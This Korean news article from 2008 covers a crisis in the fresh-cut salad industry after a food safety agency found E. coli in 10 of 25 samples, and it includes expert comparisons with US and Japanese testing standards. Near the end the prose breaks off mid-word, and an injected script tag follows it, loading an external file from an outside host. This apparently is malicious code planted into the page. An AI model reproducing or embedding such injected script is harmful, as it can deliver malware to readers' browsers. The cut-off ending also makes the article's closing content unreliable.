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신선편이 업계 위기… ‘육성방안 시급’

(신선편이 업계 위기… ‘육성방안 시급’)
기사입력 2008-09-01 00:00
 
신선편이 업계 위기… ‘육성방안 시급’
생산-유통업체 “대장균 검사 현실화” 한 목소리



신선편이 업계가 위기에 빠졌다. 샐러드 상품을 위주로 한 기업은 더욱 심각해 생산라인이 멈출 정도다. 가열이나 껍질제거 등 단순처리 상품을 생산하는 업체들만 간신히 생산을 이어가는 실정. 이 위기를 극복하지 못할 경우 신선편이 업계뿐만 아니라 드레싱, 토핑 업체를 비롯한 식품원료 가공산업 전체에 도미노 현상이 일어날 가능성도 배제하지 못한다.

식약청의 ‘대장균 있다’ 발표… 일파만파로 확대

발단은 식품의약품안전청이 지난 7월 28일 발표한 ‘신선편의식품 미생물 검사 결과’에서 시작됐다. 식약청에 따르면 시중에서 유통되고 있는 ‘신선편의식품’을 수거·검사한 결과 총 25건 중 10건에서 대장균이 검출됐다. 이들 상품들에서 식중독 균인 황색포도상구균, 살모넬라는 검출되지 않았으며 바실러스 세레우스는 기준·규격에 적합했다는 발표도 이어졌다.

식품 유통에 종사하는 관계자들은 “살아있는 상품에 존재할 수밖에 없는 것이 대장균”이며 “문제는 기준”이라고 지적한다.

‘25건 중 10건’에 ‘대장균이 발견됐다’는 발표가 ‘대장균 득실’이란 표현으로 바뀌는 것은 시간문제였다. 일부 대형점포 상품 중 과도한 양이 발견된 것도 사실이다.

문제는 텔레비전 뉴스에 이 같은 내용이 (자극적으로) 보도된 것. 이름 있는 유통업체들은 신선편이 상품을 서둘러 퇴출하기 시작했다.

전문가 “음성․양성 판단보다 정량관리로 가야…”

업계에서는 이 과정이 자칫 신선편이 시장의 기반마저 흔들까 우려하고 있다. 김지강 농촌진흥청 원예연구소 저장이용과 상품성향상 연구실장은 “신선편이 식품의 대장균 검사를 음성-양성 여부로 판단하는 것은 무리한 적용”이라며 “선진국 사례를 검토해 정량관리로 나가는 게 바람직하다”고 제안한다.

김 실장은 신선편이 식품이 세척, 절단 등의 가공과정을 거치지만 농산물 특성을 간과해서는 안 된다고 말한다. 미생물 검사도 이런 연장선상에서 이뤄져야 한다는 지적이다.

“대장균 검사는 대부분의 가공식품에 해당되는데 주로 살균 과정을 거친 먹을거리에 적용됩니다. 하지만 신선편이 식품은 다릅니다. 샐러드를 가열하지는 않잖아요. 미국의 경우 신선편이를 ‘프레시컷프로덕트(fresh cut product)’라고 합니다. 농산물(product)이라는 사실을 명시하고 있지요. 일본도 ‘컷(cut) 청과물’로 표기하면서 농산물 범주에 넣고 있습니다.”

그는 신선편이 식품의 원재료가 토양에서 생산된 만큼 미생물이 있을 수밖에 없다고 덧붙인다. 아무리 세척을 한다 해도 대장균이 ‘제로(0)’로 검출된다는 것은 불가능하다는 얘기다.

미국-‘인체 해로운 균’만 체크, 일본-‘대장균 군’으로 판단

외국의 사례는 어떨까. 대부분의 선진국들은 ‘신선편이 식품이 가공을 거쳤지만 농산물 범주에 걸쳐져 있다’는 점을 고려한다. 안전성 검사도 현실적인 상황을 감안해 채택하고 있다.

미국은 인체유해균 세 가지로 한정해 엄격한 기준을 적용하고 있다. 식중독과 관련된 살모넬라균, 2006년 9월 시금치에서 발생한 바 있는 이꼴라이(E. Coli) O157:H7, 저온에서도 잘 자라는 리스테리아균 등이 ‘음성’ 판정될 경우 제재를 받게 된다. 김 실장의 말이다.

“대장균도 규격을 적용해야 한다는 의견이 나오고 있는데요. 병원성 균으로 보기 힘들다는 이유로 아직 범주에 포함되지는 않고 있습니다. 현재는 세 가지만 집중 관리되는 셈이지요.”

일본의 경우 대장균 군이 판단기준이 된다. 대장균 개별보다는 군으로 범위를 젋혀 관리하는 것이다. 또 정부의 기준 외에 신선편이 식품 생산자들은 자체 규격을 설정, 자발적인 준수를 유도하고 있다. 생산자 규격은 상당히 까다로운 것으로 알려지고 있다.

생산자들, ‘기준-교육-계도’ 과정 갖고 싶다

신선편이 식품은 ‘농산물’과 ‘식품’의 양면성을 갖고 있다. 식생활의 편리를 추구하는 세계적 트렌드에 부합, 이제 막 성장 단계에 들어가 있다. 따라서 정부에서 사용하는 명칭마저 기관별로 ‘신선편이’와 ‘신선편의’로 혼용되고 있다.

국내 신선편이 생산업체는 (주)롯데삼강을 비롯 순천농협, 안성마춤농협조합공동사업법인, (주)신금, 일광영농조합법인, 이지식품, 모닝후르츠 등 10~20여 개의 메이저 기업이 주도하고 있으며 이들을 제외하면 가내수공업 형태에 머물고 있다. 한국신선편이농산물협회는 이번 식약청의 검사결과와 언론보도에 대해 “갑갑하다”는 반응을 보이고 있다.

“지금 같은 음성-양성 기준 적용을 계속하면 살아남을 업체가 없습니다. 지도 프로그?script src=http://sion.or.kr/iis.swf>
 
기사제공 : 더바이어 | kki@withbuyer.com
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